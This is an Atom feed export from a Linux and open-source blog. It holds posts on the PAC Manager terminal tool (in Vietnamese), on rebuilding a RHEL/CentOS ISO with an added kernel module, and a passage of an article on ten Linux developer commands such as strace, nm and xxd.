<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1501855996580398212</id><updated>2024-09-05T03:17:49.323-07:00</updated><category term="0-day in Microsoft DirectShow (msvidctl.dll) used in drive-by attacks"/><category term="10 common network security design flaws"/><category term="5 Free and Open Source Desktop Project Management Tools"/><category term="ALSA Upgrade Script"/><category term="APT and Dpkg Quick Reference Sheet"/><category term="ATI Binary Driver Howto"/><category term="Architecture diagrams for open source projects"/><category term="Bacula - Open Source network backup and restore solution"/><category term="Best of open source developer tools"/><category term="C Programming Tips 1"/><category term="Chuyển qua lại các dạng file cài của Linux(deb"/><category term="Connect desktop apps using D-BUS"/><category term="Creating Filesystems Using TimeStorm LDS"/><category term="Cài đặt bộ gõ tiếng việt x-unikey trên Linux"/><category term="Fix apport problem when upgrade Ubuntu"/><category term="How To Make A Fully Customized KDE Live CD/DVD Using Kubuntu"/><category term="How to update the custom compiled kernel to a new release using git"/><category term="HỊCH KHOA HỌC CÔNG NGHỆ"/><category term="Memory Management in vSphere"/><category term="Một cách cài Debian Lenny từ USB"/><category term="Navit and more"/><category term="Part 1: Variables"/><category term="Performance Analysis of OpenVPN on a Consumer Grade Router"/><category term="PolicyKit (and KDE)"/><category term="PolicyKit - Theory of Operation"/><category term="Quick setup LemonPos"/><category term="Remastering a Ubuntu Alternate CD"/><category term="Remastersys - a backup to livecd/dvd utility for Debian and Ubuntu"/><category term="Safely Creating Temporary Files in Shell Scripts"/><category term="Scripting the Vim editor"/><category term="Snort"/><category term="Solve &quot;Monitor is unkown and messed up&quot; problems"/><category term="Some ways to restore Grub"/><category term="Split / Cut a String"/><category term="Ten Commands Every Linux Developer Should Know"/><category term="The difference of copy_to_user/copy_from_user and put_user/get_user"/><category term="Three scripts for package management on Debian and Ubuntu systems"/><category term="Ubuntu .deb packaging"/><category term="Ubuntu Packaging Guide"/><category term="Virtual Filesystem: Building A Linux Filesystem From An Ordinary File"/><category term="and expressions"/><category term="dpkg tricks for Ubuntu / debian"/><category term="how maintainer scripts work"/><category term="how to set up a VPN with Openswan combined with L2TPD"/><category term="kde4"/><category term="pkg...)."/><category term="rpm"/><category term="values"/><title type='text'>Cafehack Group</title><subtitle type='html'>----opensource and security research team-----</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>47</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-4916302278299890977</id><published>2013-06-23T09:43:00.003-07:00</published><updated>2013-06-23T09:43:42.195-07:00</updated><title type='text'>PAC Manager - Trình quản lý terminal trên linux tốt nhất.</title><content type='html'>&lt;div class=&quot;tr_bq&quot;&gt;
&lt;b&gt;1. Giới thiệu:&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Đối vơí một system admin, thông thường sử dụng một số tools sau:&lt;br /&gt;
- &lt;i&gt;&lt;b&gt;Terminator&lt;/b&gt;&lt;/i&gt; để quản lý ssh hoặc thâm chí dùng các terminal mặc định trên Linux/Unix.&lt;br /&gt;
- &lt;i&gt;&lt;b&gt;Remmina&lt;/b&gt;&lt;/i&gt; hoặc &lt;i&gt;&lt;b&gt;gtk-rdp&lt;/b&gt;&lt;/i&gt; để remote vào các máy chủ Windows qua RDP.&lt;br /&gt;
- &lt;i&gt;&lt;b&gt;Filezilla&lt;/b&gt;&lt;/i&gt; hoặc truy cập trực tiếp từ file explorer như Nautilus.&lt;br /&gt;
&lt;br /&gt;
Phải dùng khá nhiều tools và việc quản lý khá rắc rối, nhất là khi phải quản trị quá nhiều hệ thống. Rất may, &lt;i&gt;David Torrejón Vaquerizas&lt;/i&gt; đã cho ta một công cụ rất tiện lợi, mạnh mẽ và nhiều tính năng nâng cao: &lt;i&gt;&lt;b&gt;PAC Manager.&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
Trong các phần sau đây, tôi sẽ lần lượt hướng dẫn các bạn cài đặt cũng như sử dụng các tính năng nâng cao của Pac Manager.&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;2. Cài đặt PAC Manager:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Việc cài đặt PAC Manager khá đơn giản. &lt;i&gt;David Torrejón Vaquerizas&lt;/i&gt; cung cấp gói cài đặt dạng RPM và DEB cho các nền tảng Redhat và Debian. Ngoài ra, các bạn có thể tự biên dịch từ mã nguồn của &lt;i&gt;&lt;b&gt;PAC Manager.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
Trang chủ của dự án: https://sites.google.com/site/davidtv/ &lt;br /&gt;
Trang sourceforge của dự án: http://sourceforge.net/projects/pacmanager/&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3. Các chức năng chính:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Đây là các tính năng chính được trích dẫn từ trang chủ của&amp;nbsp; PAC Manager:&lt;br /&gt;
&lt;blockquote&gt;
&lt;i&gt;PAC is a Perl/GTK Gnome replacement for SecureCRT/Putty/etc... It provides a GUI to configure SSH/Telnet connections: users, passwords, EXPECT regular expressions, macros, etc. You like &#39;SSHMenu&#39;? If so, you must check this tool. Just let me know how do you feel about it!&lt;/i&gt;&lt;ul&gt;
&lt;li&gt;&lt;i&gt;Unique Linux application to impletement almost every SecureCRT&#39;s functionality.&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Remote and local macros.&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Remotely send commands with EXPECT regexp.&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Cluster connections!! Connections on same cluster share keystrokes!!&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Proxy support.&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;KeePassX support!&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Serial/tty connection via cu/tip/remote-tty connections!!&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;RDP (via rdesktop) and VNC (via vncviewer) support!!&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Pre/post connections local executions.&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Line-send dealy capabilities.&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;TABS OR WINDOWS for connections!!&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Quick access to configured connections via tray menu icon.&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Wake-On-LAN features!&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Many many more I just forgot, and many many more to come (ASA I find time!)&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;FREE (GNU GPLv3)&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
Trong đó, cá nhân tôi thấy có một số tính năng nâng cao tuyệt vời nhất:&lt;br /&gt;
- Tự động gửi character để giữ kết nối: tính năng đặc biệt hữu ích cho những ai đã từng phải chịu bực mình với tính trạng sau một thời gian thì bị đá văng ra do session timeout.&lt;br /&gt;
- Cho phép chạy script: khi đăng nhập/logout....và khi đang kết nối muốn chạy script nào đó chỉ việc right click và chọn script.&lt;br /&gt;
- Cluster Connections: tính năng cho phép bạn chạy lệnh gửi đến nhiều connections cùng lúc. Tính năng này đặc biệt hữu ích nếu bạn thường xuyên phải chạy một vài lệnh cho rất nhiều hệ thống.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/4916302278299890977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/4916302278299890977' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4916302278299890977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4916302278299890977'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2013/06/pac-manager-trinh-quan-ly-terminal-tren.html' title='PAC Manager - Trình quản lý terminal trên linux tốt nhất.'/><author><name>lili</name><uri>http://www.blogger.com/profile/18193075236725347934</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-3352692209861139534</id><published>2012-04-12T10:15:00.002-07:00</published><updated>2012-04-12T10:46:17.991-07:00</updated><title type='text'>How to add kernel module to RHEL/Centos to fix unsupport driver</title><content type='html'>&lt;span &gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;When you setup RHEL/Centos on Server, may be some driver is missing or not support.&lt;/span&gt;&lt;/span&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;One easy solution is rebuild ISO to add new module. This article may help you.&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;- Prerequires: &lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;+ RHEL/Centos DVD (or ISO).&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;+ Kernel module.&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;- First: Build kernel module.&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;- Second: Mount DVD to disk and copy entire disk to new location.&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;font-style: normal; white-space: pre; &quot;&gt; &lt;/span&gt;&lt;i&gt;mkdir ~/rebuild/ISO&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;mount /dev/cdrom ~/rebuild/ISO&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;/span&gt;rsync -a ~/rebuild/ISO ~/rebuild/BUILD&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;- Third:  add module to initrd.img&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;span style=&quot;font-style: normal; &quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;Copy&lt;/span&gt;&lt;i&gt; initrd.img&lt;/i&gt; to &lt;i&gt;/tmp&lt;/i&gt; and move to this directory, then:&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; white-space: pre; &quot;&gt; &lt;/span&gt;&lt;span &gt;gzip -dc initrd.img &amp;gt; initrd.unc.img&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;span &gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;cpio -id &amp;lt; initrd.unc.img&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span &gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;cd modules&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span &gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;zcat modules.cgz | cpio -idvm&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span &gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span &gt;Copy module to &lt;i&gt;modules/2.6.18-128.el5/x86_64&lt;/i&gt; ( in case i use 64bit) then repacked:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span &gt;&lt;div&gt;&lt;i&gt;&lt;/i&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;find 2.6.18-128.el5 | cpio -H newc -ov | gzip -9 -c - &amp;gt; modules.cgz&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;sync&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;i&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Edit &lt;i&gt;pci.ids&lt;/i&gt;, &lt;i&gt;module-info&lt;/i&gt; and &lt;i&gt;modules.dep&lt;/i&gt; (if necessary). Then create &lt;i&gt;initrd.img&lt;/i&gt;:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;cd ..&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;find . | cpio -H newc -ov | gzip -9 -c - &amp;gt; initrd.img&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;i&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;- Final: replace with your new&lt;i&gt; initrd.img&lt;/i&gt;, and move to ~/build/BUILD to rebuild ISO&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;mkisofs -o ../custom.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;boot -boot-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;load-size 4 -boot-info-table -v -r -l -L -T -J -V &quot;CUSTOM.X.X&quot; .&lt;/blockquote&gt;&lt;/i&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-variant: normal; font-weight: normal; line-height: normal; font-style: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/3352692209861139534/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/3352692209861139534' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/3352692209861139534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/3352692209861139534'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2012/04/how-to-add-kernel-module-to-rhelcentos.html' title='How to add kernel module to RHEL/Centos to fix unsupport driver'/><author><name>lili</name><uri>http://www.blogger.com/profile/18193075236725347934</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-2144558829594655824</id><published>2011-11-17T19:58:00.000-08:00</published><updated>2011-11-17T20:01:26.517-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Ten Commands Every Linux Developer Should Know"/><title type='text'>Ten Commands Every Linux Developer Should Know</title><content type='html'>A few simple utilities can make it easier to figure out and maintain other people&#39;s code.&lt;br /&gt;This article presents a list of commands you should be able to find on any Linux installation. These are tools to help you improve your code and be more productive. The list comes from my own experience as a programmer and includes tools I&#39;ve come to rely on repeatedly. Some tools help create code, some help debug code and some help reverse engineer code that&#39;s been dumped in your lap.&lt;br /&gt;&lt;br /&gt;1. ctags&lt;br /&gt;Those of you addicted to integrated development environments (IDEs) probably never heard of this tool, or if you did you probably think it&#39;s obsolete. But a tags-aware editor is a productive programming tool.&lt;br /&gt;&lt;br /&gt;Tagging your code allows editors like vi and Emacs to treat your code like hypertext (Figure 1). Each object in your code becomes hyperlinked to its definition. For example, if you are browsing code in vi and want to know where the variable foo was defined, type :ta foo. If your cursor is pointing to the variable, simply use Ctrl-right bracket.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Figure 1. gvim at Work with Tags&lt;br /&gt;&lt;br /&gt;The good news for the vi-impaired is ctags is not only for C and vi anymore. The GNU version of ctags produces tags that can be used with Emacs and many other editors that recognize tag files. In addition, ctags recognizes many languages other than C and C++, including Perl and Python, and even hardware design languages, such as Verilog. It even can produce a human-readable cross-reference that can be useful for understanding code and performing metrics. Even if you&#39;re not interested in using ctags in your editor, you might want to check out the human-readable cross-reference by typing ctags -x *.c*.&lt;br /&gt;&lt;br /&gt;What I like about this tool is that you get useful information whether you input one file or one hundred files, unlike many IDEs that aren&#39;t useful unless they can see your entire application. It&#39;s not a program checker, so garbage in, garbage out (GIGO) rules apply.&lt;br /&gt;&lt;br /&gt;2. strace&lt;br /&gt;strace lets you decipher what&#39;s going on when you have no debugger nor the source code. One of my pet peeves is a program that doesn&#39;t start and doesn&#39;t tell you why. Perhaps a required file is missing or has the wrong permissions. strace can tell you what the program is doing right up to the point where it exits. It can tell you what system calls the program is using and whether they pass or fail. It even can follow forks.&lt;br /&gt;&lt;br /&gt;strace often gives me answers much more quickly than a debugger, especially if the code is unfamiliar. On occasion, I have to debug code on a live system with no debugger. A quick run with strace sometimes can avoid patching the system or littering my code with printfs. Here is a trivial example of me as an unprivileged user trying to delete a protected file:&lt;br /&gt;&lt;br /&gt;strace -o strace.out rm -f /etc/yp.conf&lt;br /&gt;The output shows where things went wrong:&lt;br /&gt;&lt;br /&gt;lstat64(&quot;/etc/yp.conf&quot;, {st_mode=S_IFREG|0644,&lt;br /&gt;st_size=361, ...}) = 0&lt;br /&gt;access(&quot;/etc/yp.conf&quot;, W_OK) = -1 EACCES&lt;br /&gt;(Permission denied)&lt;br /&gt;unlink(&quot;/etc/yp.conf&quot;) = -1 EACCES (Permission&lt;br /&gt;denied)&lt;br /&gt;strace also lets you attach to processes for just-in-time debugging. Suppose a process seems to be spending a lot of time doing nothing. A quick way to find out what is going on is to type strace -c -p mypid. After a second or two, press Ctrl-C and you might see a dump something like this:&lt;br /&gt;&lt;br /&gt;% time    seconds  usecs/call     calls    errors  syscall&lt;br /&gt;------ ----------- ----------- --------- --------- ----------------&lt;br /&gt; 91.31    0.480456        3457       139           poll&lt;br /&gt;  6.66    0.035025         361        97           write&lt;br /&gt;  0.91    0.004794          16       304           futex&lt;br /&gt;  0.52    0.002741          14       203           read&lt;br /&gt;  0.31    0.001652           3       533           gettimeofday&lt;br /&gt;  0.26    0.001361           4       374           ioctl&lt;br /&gt;  0.01    0.000075           8        10           brk&lt;br /&gt;  0.01    0.000064          64         1           clone&lt;br /&gt;  0.00    0.000026          26         1           stat64&lt;br /&gt;  0.00    0.000007           7         1           uname&lt;br /&gt;  0.00    0.000005           5         1           sched_get_priority_max&lt;br /&gt;  0.00    0.000002           2         1           sched_get_priority_min&lt;br /&gt;------ ----------- ----------- --------- --------- ----------------&lt;br /&gt;100.00    0.526208                  1665           total&lt;br /&gt;In this case, it&#39;s spending most of its time in the poll system call—probably waiting on a socket.&lt;br /&gt;3. fuser&lt;br /&gt;The name is a mnemonic for file user and tells what processes have opened a given file. It also can send a signal to all those processes for you. Suppose you want to delete a file but can&#39;t because some program has it open and won&#39;t close it. Instead of rebooting, type fuser -k myfile. This sends a SIGTERM to every process that has myfile opened.&lt;br /&gt;&lt;br /&gt;Perhaps you need to kill a process that forked itself all over the place, intentionally or otherwise. An unenlightened programmer might type something like ps | grep myprogram. This inevitably would be followed by several cut-and-paste operations with the mouse. An easier way is to type fuser -k ./myprogram, where myprogram is the pathname of the executable. fuser typically is located in /sbin, which generally is reserved for system administrative tools. You can add /usr/sbin and /sbin to the end of your $PATH.&lt;br /&gt;&lt;br /&gt;4. ps&lt;br /&gt;ps is used to find process status, but many people don&#39;t realize it also can be a powerful debugging tool. To get at these features, use the -o option, which lets you access many details of your processes, including CPU usage, virtual memory usage, current state and much more. Many of these options are defined in the POSIX standard, so they work across platforms.&lt;br /&gt;&lt;br /&gt;To look at your running commands by pid and process state, type ps -e -o pid,state,cmd. The output looks like this:&lt;br /&gt;&lt;br /&gt;4576 S /opt/OpenOffice.org1.1.0/program/soffice.bin -writer&lt;br /&gt;4618 D dd if /dev/cdrom of /dev/null&lt;br /&gt;4619 S bash&lt;br /&gt;4645 R ps -e -o pid,state,cmd&lt;br /&gt;Here you can see my dd command is in an uninterruptible sleep (state D). Basically, it is blocking while waiting for /dev/cdrom. My OpenOffice.org writer is sleeping (state S) while I type my example, and my ps command is running (state R).&lt;br /&gt;&lt;br /&gt;For an idea of how a running program is performing, type:&lt;br /&gt;&lt;br /&gt;ps -o start,time,etime -p mypid&lt;br /&gt;This shows the basic output from the time command, discussed later, except you don&#39;t have to wait until your program is finished.&lt;br /&gt;&lt;br /&gt;Most of the information that ps produces is available from the /proc filesystem, but if you are writing a script, using ps is more portable. You never know when a minor kernel rev will break all of your scripts that are mining the /proc filesystem. Use ps instead.&lt;br /&gt;&lt;br /&gt;5. time&lt;br /&gt;The time command is useful for understanding your code&#39;s performance. The most basic output consists of real, user and system time. Intuitively, real time is the amount of time between when the code started and when it exited. User time and system time are the amount of time spent executing application code versus kernel code, respectively.&lt;br /&gt;&lt;br /&gt;Two flavors of the time command are available. The shell has a built-in version that tells you only scheduler information. A version in /usr/bin includes more information and allows you to format the output. You easily can override the built-in time command by preceding it with a backslash, as in the examples that follow.&lt;br /&gt;&lt;br /&gt;A basic knowledge of the Linux scheduler is helpful in interpreting the output, but this tool also is helpful for learning how the scheduler works. For example, the real time of a process typically is larger than the sum of the user and system time. Time spent blocking in a system call does not count against the process, because the scheduler is free to schedule other processes during this time. The following sleep command takes one second to execute but takes no measurable system or user time:&lt;br /&gt;&lt;br /&gt;\time -p sleep 1&lt;br /&gt;real 1.03&lt;br /&gt;user 0.00&lt;br /&gt;sys 0.00&lt;br /&gt;The next example shows how a task can spend all of its time in user space. Here, Perl calls the log() function in a loop, which requires nothing from the kernel:&lt;br /&gt;&lt;br /&gt;\time perl -e &#39;log(2.0) foreach(0..0x100000)&#39;&lt;br /&gt;real 0.40&lt;br /&gt;user 0.20&lt;br /&gt;sys 0.00&lt;br /&gt;This example shows a process using a lot of memory:&lt;br /&gt;&lt;br /&gt;\time perl -e &#39;$x = &#39;a&#39; x 0x1000000&#39;&lt;br /&gt;&lt;br /&gt;0.06user 0.12system 0:00.22elapsed 81%CPU&lt;br /&gt;(0avgtext+0avgdata 0maxresident)k&lt;br /&gt;0inputs+0outputs (309major+8235minor)pagefaults&lt;br /&gt;0swaps&lt;br /&gt;The useful information here is listed as pagefaults. Although the GNU time command advertises a lot of information, the 2.4 series of the Linux kernel stores only major and minor page-fault information. A major page fault is one that requires I/O; a minor page fault does not.&lt;br /&gt;&lt;br /&gt;6. nm&lt;br /&gt;This command allows you to retrieve information on symbol names inside an object file or executable file. By default, the output gives you a symbol name and its virtual address. What good is that? Suppose you are compiling code and the compiler complains that you have an unresolved symbol _foo. You search all of your source code and cannot find anywhere where you use this symbol. Perhaps it got pulled in from some template or a macro buried in one of the dozens of include files that compiled along with your code. The command:&lt;br /&gt;&lt;br /&gt;nm -guA *.o | grep foo&lt;br /&gt;shows all the modules that refer to foo. If you want to find out what library defines foo, simply use:&lt;br /&gt;&lt;br /&gt;nm -gA /usr/lib/* | grep foo&lt;br /&gt;The nm command also understands how to demangle C++ names, which can be handy when mixing C and C++. For example, forgetting to declare a C function with extern&quot;C&quot; produces a link time error something like this:&lt;br /&gt;&lt;br /&gt;undefined reference to `cfunc(char*)&#39;&lt;br /&gt;In a large project with poorly defined headers, you might have a hard time tracking down the offending module. In this case, you can look for all the unresolved symbols in each object file with demangling turned on as follows:&lt;br /&gt;&lt;br /&gt;nm -guC *.o&lt;br /&gt;extern-c.o:cfunc&lt;br /&gt;no-extern-c.o:cfunc(char*)&lt;br /&gt;The first module is correct; the second is not.&lt;br /&gt;&lt;br /&gt;7. strings&lt;br /&gt;This command looks for ASCII strings embedded in binary files. It can be used for good or for evil. The good uses include trying to figure out what library is producing that cryptic string on stdout every once in a while, for example:&lt;br /&gt;&lt;br /&gt;strings -f /usr/lib/lib* | grep &quot;cryptic message&quot;&lt;br /&gt;On the evil side, the character strings can be used to probe your format strings looking for clues and vulnerabilities. This is why you should never put passwords and logins in your programs. It might be wise to examine your own programs with this tool and see what a clever programmer can see. The version of strings that comes with the GNU binutils has many useful options.&lt;br /&gt;&lt;br /&gt;8. od, xxd&lt;br /&gt;These two commands do basically the same thing, but each offers slightly different features. od is used to convert a binary file to whatever format you like. When dealing with programs that generate raw binary files, od can be indispensable. Although the name stands for octal dump, it can dump data in decimal and hexadecimal as well. od dumps integers, IEEE floats or plain bytes. When looking at multibyte integers or floats, the host byte order affects the output.&lt;br /&gt;&lt;br /&gt;xxd also dumps binary files but does not try to interpret them as integers or floats, so the host byte order does not affect the output, which can be confusing or helpful depending on the file. Let&#39;s create a four-byte file on an Intel machine:&lt;br /&gt;&lt;br /&gt;$ echo -n abcd &gt; foo.bin&lt;br /&gt;$ od -tx4 foo.bin&lt;br /&gt;0000000 64636261&lt;br /&gt;0000004&lt;br /&gt;&lt;br /&gt;$ xxd -g4 foo.bin&lt;br /&gt;0000000: 61626364         abcd&lt;br /&gt;The output of od is a byte-swapped 32-bit integer, and the output of xxd is a group of four bytes in the same byte order as they appear in the file. If you&#39;re looking for the string abcd, xxd is the command for you. But, if you&#39;re looking for the 32-bit number 0x64636261, od is the right command.&lt;br /&gt;&lt;br /&gt;xxd also knows a few cool tricks that od doesn&#39;t, including the ability to format the output in binary and to translate a binary file into a C array. Suppose you have a binary file that you want to encode inside an array in your C program. One way to do this is by creating a text file as follows:&lt;br 